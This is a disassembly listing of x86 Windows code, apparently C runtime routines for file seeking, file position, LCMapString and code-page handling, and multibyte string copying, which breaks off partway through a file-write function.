		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E299
		push	eax
		call	sub_41FB5E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E25B
		mov	dword_4894AC, 9
		jmp	short loc_41E2AA
; ---------------------------------------------------------------------------

loc_41E25B:				; CODE XREF: sub_41E217+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4230C0	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E27B
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41E27D
; ---------------------------------------------------------------------------

loc_41E27B:				; CODE XREF: sub_41E217+5Aj
		xor	eax, eax

loc_41E27D:				; CODE XREF: sub_41E217+62j
		test	eax, eax
		jz	short loc_41E28A
		push	eax
		call	sub_41EC6F
		pop	ecx
		jmp	short loc_41E2AA
; ---------------------------------------------------------------------------

loc_41E28A:				; CODE XREF: sub_41E217+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E2AD
; ---------------------------------------------------------------------------

loc_41E299:				; CODE XREF: sub_41E217+Dj
					; sub_41E217+2Aj
		and	dword_4894B0, 0
		mov	dword_4894AC, 9

loc_41E2AA:				; CODE XREF: sub_41E217+42j
					; sub_41E217+71j
		or	eax, 0FFFFFFFFh

loc_41E2AD:				; CODE XREF: sub_41E217+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2B1	proc near		; CODE XREF: sub_418A0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E2CD
		mov	[edi+4], ebx

loc_41E2CD:				; CODE XREF: sub_41E2B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E33B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E2F2
		sub	eax, [edi+4]
		jmp	loc_41E404
; ---------------------------------------------------------------------------

loc_41E2F2:				; CODE XREF: sub_41E2B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E32C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48A7E0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E343
		mov	edx, ecx

loc_41E31D:				; CODE XREF: sub_41E2B1+79j
		cmp	edx, eax
		jnb	short loc_41E343
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E329
		inc	[ebp+var_8]

loc_41E329:				; CODE XREF: sub_41E2B1+73j
		inc	edx
		jmp	short loc_41E31D
; ---------------------------------------------------------------------------

loc_41E32C:				; CODE XREF: sub_41E2B1+50j
		test	dl, 80h
		jnz	short loc_41E343
		mov	dword_4894AC, 16h

loc_41E33B:				; CODE XREF: sub_41E2B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E404
; ---------------------------------------------------------------------------

loc_41E343:				; CODE XREF: sub_41E2B1+68j
					; sub_41E2B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E351
		mov	eax, [ebp+var_8]
		jmp	loc_41E404
; ---------------------------------------------------------------------------

loc_41E351:				; CODE XREF: sub_41E2B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E3FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E36A
		and	[ebp+var_8], edx
		jmp	loc_41E3FC
; ---------------------------------------------------------------------------

loc_41E36A:				; CODE XREF: sub_41E2B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E3F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E3BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E3A8:				; CODE XREF: sub_41E2B1+104j
		cmp	eax, ecx
		jnb	short loc_41E3B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E3B4
		inc	[ebp+arg_0]

loc_41E3B4:				; CODE XREF: sub_41E2B1+FEj
		inc	eax
		jmp	short loc_41E3A8
; ---------------------------------------------------------------------------

loc_41E3B7:				; CODE XREF: sub_41E2B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E3F1
; ---------------------------------------------------------------------------

loc_41E3BD:				; CODE XREF: sub_41E2B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E217
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E3E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E3E4
		test	ch, 4
		jz	short loc_41E3E7

loc_41E3E4:				; CODE XREF: sub_41E2B1+124j
					; sub_41E2B1+12Cj
		mov	eax, [edi+18h]

loc_41E3E7:				; CODE XREF: sub_41E2B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E3F1:				; CODE XREF: sub_41E2B1+10Aj
		jz	short loc_41E3F6
		inc	[ebp+arg_0]

loc_41E3F6:				; CODE XREF: sub_41E2B1+D9j
					; sub_41E2B1:loc_41E3F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E3FC:				; CODE XREF: sub_41E2B1+A4j
					; sub_41E2B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E404:				; CODE XREF: sub_41E2B1+3Cj
					; sub_41E2B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E409	proc near		; CODE XREF: sub_418D63+47p
					; sub_418D63+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238D8
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_489558, edi
		jnz	short loc_41E47F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4238D0
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_4231C8	; LCMapStringW
		test	eax, eax
		jz	short loc_41E45D
		mov	dword_489558, ebx
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E45D:				; CODE XREF: sub_41E409+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43BCF8
		push	esi
		push	edi
		call	dword_4231C4	; LCMapStringA
		test	eax, eax
		jz	loc_41E597
		mov	dword_489558, 2

loc_41E47F:				; CODE XREF: sub_41E409+2Ej
					; sub_41E409+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E494
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41E62D
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E494:				; CODE XREF: sub_41E409+79j
		mov	eax, dword_489558
		cmp	eax, 2
		jnz	short loc_41E4BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C4	; LCMapStringA
		jmp	loc_41E599
; ---------------------------------------------------------------------------

loc_41E4BB:				; CODE XREF: sub_41E409+93j
		cmp	eax, 1
		jnz	loc_41E597
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E4D1
		mov	eax, dword_489550
		mov	[ebp+arg_18], eax

loc_41E4D1:				; CODE XREF: sub_41E409+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_423070	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E597
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E52C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E52C:				; CODE XREF: sub_41E409+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E597
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_423070	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41E597
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C8	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E597
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E5AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E626
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E597
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C8	; LCMapStringW
		test	eax, eax
		jnz	loc_41E626

loc_41E597:				; CODE XREF: sub_41E409+66j
					; sub_41E409+B5j ...
		xor	eax, eax

loc_41E599:				; CODE XREF: sub_41E409+ADj
					; sub_41E409+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E5AB:				; CODE XREF: sub_41E409+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E5DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E5DF:				; CODE XREF: sub_41E409+1C2j
		cmp	ebx, edi
		jz	short loc_41E597
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C8	; LCMapStringW
		test	eax, eax
		jz	short loc_41E597
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E606
		push	edi
		push	edi
		jmp	short loc_41E60C
; ---------------------------------------------------------------------------

loc_41E606:				; CODE XREF: sub_41E409+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E60C:				; CODE XREF: sub_41E409+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_423150	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E597

loc_41E626:				; CODE XREF: sub_41E409+165j
					; sub_41E409+188j
		mov	eax, esi
		jmp	loc_41E599
sub_41E409	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E62D	proc near		; CODE XREF: sub_41E409+81p
					; sub_421F1A+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41E64A

loc_41E63D:				; CODE XREF: sub_41E62D+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41E64A
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41E63D

loc_41E64A:				; CODE XREF: sub_41E62D+Ej
					; sub_41E62D+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41E655
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_41E655:				; CODE XREF: sub_41E62D+21j
		mov	eax, edx
		retn
sub_41E62D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E658	proc near		; CODE XREF: sub_41EA1C+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41E7F1	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48A8E4
		mov	[ebp+arg_0], esi
		jz	loc_41E7E5
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41E7DB
		xor	edx, edx
		mov	eax, offset dword_43AE20

loc_41E68C:				; CODE XREF: sub_41E658+41j
		cmp	[eax], esi
		jz	short loc_41E702
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43AF10
		jl	short loc_41E68C
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4231CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41E7D3
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48AA00
		cmp	[ebp+var_18], 1
		mov	dword_48A8E4, esi
		rep stosd
		stosb
		mov	dword_48AB04, ebx
		jbe	loc_41E7C1
		cmp	[ebp+var_12], 0
		jz	loc_41E797
		lea	ecx, [ebp+var_11]

loc_41E6DF:				; CODE XREF: sub_41E658+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41E797
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E6F0:				; CODE XREF: sub_41E658+A8j
		cmp	eax, edx
		ja	loc_41E78B
		or	byte_48AA01[eax], 4
		inc	eax
		jmp	short loc_41E6F0
; ---------------------------------------------------------------------------

loc_41E702:				; CODE XREF: sub_41E658+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48AA00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43AE30[esi]

loc_41E71E:				; CODE XREF: sub_41E658+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41E751

loc_41E725:				; CODE XREF: sub_41E658+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41E751
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41E74A
		mov	edx, [ebp+var_4]
		mov	dl, byte_43AE18[edx]

loc_41E73F:				; CODE XREF: sub_41E658+F0j
		or	byte_48AA01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41E73F

loc_41E74A:				; CODE XREF: sub_41E658+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E725

loc_41E751:				; CODE XREF: sub_41E658+CBj
					; sub_41E658+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E71E
		mov	eax, [ebp+arg_0]
		mov	dword_48A8FC, 1
		push	eax
		mov	dword_48A8E4, eax
		call	sub_41E83B
		lea	esi, dword_43AE24[esi]
		mov	edi, offset dword_48A8F0
		movsd
		movsd
		pop	ecx
		mov	dword_48AB04, eax
		movsd
		jmp	short loc_41E7E0
; ---------------------------------------------------------------------------

loc_41E78B:				; CODE XREF: sub_41E658+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E6DF

loc_41E797:				; CODE XREF: sub_41E658+7Ej
					; sub_41E658+8Bj
		push	1
		pop	eax

loc_41E79A:				; CODE XREF: sub_41E658+14Fj
		or	byte_48AA01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41E79A
		push	esi
		call	sub_41E83B
		pop	ecx
		mov	dword_48AB04, eax
		mov	dword_48A8FC, 1
		jmp	short loc_41E7C7
; ---------------------------------------------------------------------------

loc_41E7C1:				; CODE XREF: sub_41E658+74j
		mov	dword_48A8FC, ebx

loc_41E7C7:				; CODE XREF: sub_41E658+167j
		xor	eax, eax
		mov	edi, offset dword_48A8F0
		stosd
		stosd
		stosd
		jmp	short loc_41E7E0
; ---------------------------------------------------------------------------

loc_41E7D3:				; CODE XREF: sub_41E658+51j
		cmp	dword_48955C, ebx
		jz	short loc_41E7E9

loc_41E7DB:				; CODE XREF: sub_41E658+27j
		call	sub_41E86E

loc_41E7E0:				; CODE XREF: sub_41E658+131j
					; sub_41E658+179j
		call	sub_41E897

loc_41E7E5:				; CODE XREF: sub_41E658+1Dj
		xor	eax, eax
		jmp	short loc_41E7EC
; ---------------------------------------------------------------------------

loc_41E7E9:				; CODE XREF: sub_41E658+181j
		or	eax, 0FFFFFFFFh

loc_41E7EC:				; CODE XREF: sub_41E658+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E658	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7F1	proc near		; CODE XREF: sub_41E658+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48955C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41E811
		mov	dword_48955C, 1
		jmp	dword_423050
; ---------------------------------------------------------------------------

loc_41E811:				; CODE XREF: sub_41E7F1+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41E826
		mov	dword_48955C, 1
		jmp	dword_4231D0
; ---------------------------------------------------------------------------

loc_41E826:				; CODE XREF: sub_41E7F1+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41E83A
		mov	eax, dword_489550
		mov	dword_48955C, 1

locret_41E83A:				; CODE XREF: sub_41E7F1+38j
		retn
sub_41E7F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E83B	proc near		; CODE XREF: sub_41E658+118p
					; sub_41E658+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41E868
		sub	eax, 4
		jz	short loc_41E862
		sub	eax, 0Dh
		jz	short loc_41E85C
		dec	eax
		jz	short loc_41E856
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41E856:				; CODE XREF: sub_41E83B+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41E85C:				; CODE XREF: sub_41E83B+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41E862:				; CODE XREF: sub_41E83B+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41E868:				; CODE XREF: sub_41E83B+9j
		mov	eax, 411h
		retn
sub_41E83B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E86E	proc near		; CODE XREF: sub_41E658:loc_41E7DBp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48AA00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48A8F0
		mov	dword_48A8E4, eax
		mov	dword_48A8FC, eax
		mov	dword_48AB04, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E86E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E897	proc near		; CODE XREF: sub_41E658:loc_41E7E0p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48A8E4
		call	dword_4231CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41E9D0
		xor	eax, eax
		mov	esi, 100h

loc_41E8C1:				; CODE XREF: sub_41E897+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41E8C1
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41E912
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41E8E0:				; CODE XREF: sub_41E897+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41E907
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41E907:				; CODE XREF: sub_41E897+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41E8E0
		pop	edi
		pop	ebx

loc_41E912:				; CODE XREF: sub_41E897+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48AB04
		push	dword_48A8E4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41F88F
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48A8E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48AB04
		call	sub_41E409
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48A8E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48AB04
		call	sub_41E409
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41E98D:				; CODE XREF: sub_41E897+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41E9AB
		or	byte_48AA01[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41E9A3:				; CODE XREF: sub_41E897+127j
		mov	byte_48A900[eax], dl
		jmp	short loc_41E9C7
; ---------------------------------------------------------------------------

loc_41E9AB:				; CODE XREF: sub_41E897+FCj
		test	dl, 2
		jz	short loc_41E9C0
		or	byte_48AA01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41E9A3
; ---------------------------------------------------------------------------

loc_41E9C0:				; CODE XREF: sub_41E897+117j
		and	byte_48A900[eax], 0

loc_41E9C7:				; CODE XREF: sub_41E897+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41E98D
		jmp	short loc_41EA19
; ---------------------------------------------------------------------------

loc_41E9D0:				; CODE XREF: sub_41E897+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41E9D7:				; CODE XREF: sub_41E897+180j
		cmp	eax, 41h
		jb	short loc_41E9F5
		cmp	eax, 5Ah
		ja	short loc_41E9F5
		or	byte_48AA01[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41E9ED:				; CODE XREF: sub_41E897+174j
		mov	byte_48A900[eax], cl
		jmp	short loc_41EA14
; ---------------------------------------------------------------------------

loc_41E9F5:				; CODE XREF: sub_41E897+143j
					; sub_41E897+148j
		cmp	eax, 61h
		jb	short loc_41EA0D
		cmp	eax, 7Ah
		ja	short loc_41EA0D
		or	byte_48AA01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41E9ED
; ---------------------------------------------------------------------------

loc_41EA0D:				; CODE XREF: sub_41E897+161j
					; sub_41E897+166j
		and	byte_48A900[eax], 0

loc_41EA14:				; CODE XREF: sub_41E897+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41E9D7

loc_41EA19:				; CODE XREF: sub_41E897+137j
		pop	esi
		leave
		retn
sub_41E897	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA1C	proc near		; CODE XREF: sub_41EE5A+9p
					; sub_41EEB2+Dp ...
		cmp	dword_48AB34, 0
		jnz	short locret_41EA37
		push	0FFFFFFFDh
		call	sub_41E658
		pop	ecx
		mov	dword_48AB34, 1

locret_41EA37:				; CODE XREF: sub_41EA1C+7j
		retn
sub_41EA1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA38	proc near		; CODE XREF: sub_418FB8+2Bp
					; sub_418FB8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48A8FC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41EA5C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418910
		add	esp, 0Ch
		jmp	short loc_41EABF
; ---------------------------------------------------------------------------

loc_41EA5C:				; CODE XREF: sub_41EA38+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41EAA1
		mov	ecx, [ebp+arg_4]

loc_41EA67:				; CODE XREF: sub_41EA38+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48AA01[esi], 4
		mov	[edi], al
		jz	short loc_41EA8B
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41EA97
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41EA9D
		jmp	short loc_41EA91
; ---------------------------------------------------------------------------

loc_41EA8B:				; CODE XREF: sub_41EA38+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41EAA1

loc_41EA91:				; CODE XREF: sub_41EA38+51j
		test	edx, edx
		jnz	short loc_41EA67
		jmp	short loc_41EAA1
; ---------------------------------------------------------------------------

loc_41EA97:				; CODE XREF: sub_41EA38+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41EAA1
; ---------------------------------------------------------------------------

loc_41EA9D:				; CODE XREF: sub_41EA38+4Fj
		and	byte ptr [edi-2], 0

loc_41EAA1:				; CODE XREF: sub_41EA38+2Aj
					; sub_41EA38+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41EABC
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41EABC:				; CODE XREF: sub_41EA38+6Fj
		mov	eax, [ebp+arg_0]

loc_41EABF:				; CODE XREF: sub_41EA38+22j
		pop	edi
		pop	ebp
		retn
sub_41EA38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EAC2	proc near		; CODE XREF: sub_4193EF+A2p
					; sub_419A23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48A8E0
		push	esi
		push	edi
		jnb	loc_41EC56
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EC56
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EB13

loc_41EB0C:				; CODE XREF: sub_41EAC2+177j
		xor	eax, eax
		jmp	loc_41EC6A
; ---------------------------------------------------------------------------

loc_41EB13:				; CODE XREF: sub_41EAC2+48j
		test	al, 20h
		jz	short loc_41EB23
		push	2
		push	edi
		push	ecx
		call	sub_41E217
		add	esp, 0Ch

loc_41EB23:				; CODE XREF: sub_41EAC2+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EBF2
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EC2A

loc_41EB43:				; CODE XREF: sub_41EAC2+F5j
		lea	eax, [ebp+var_414]

loc_41EB49:				; CODE XREF: sub_41EAC2+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EB7D
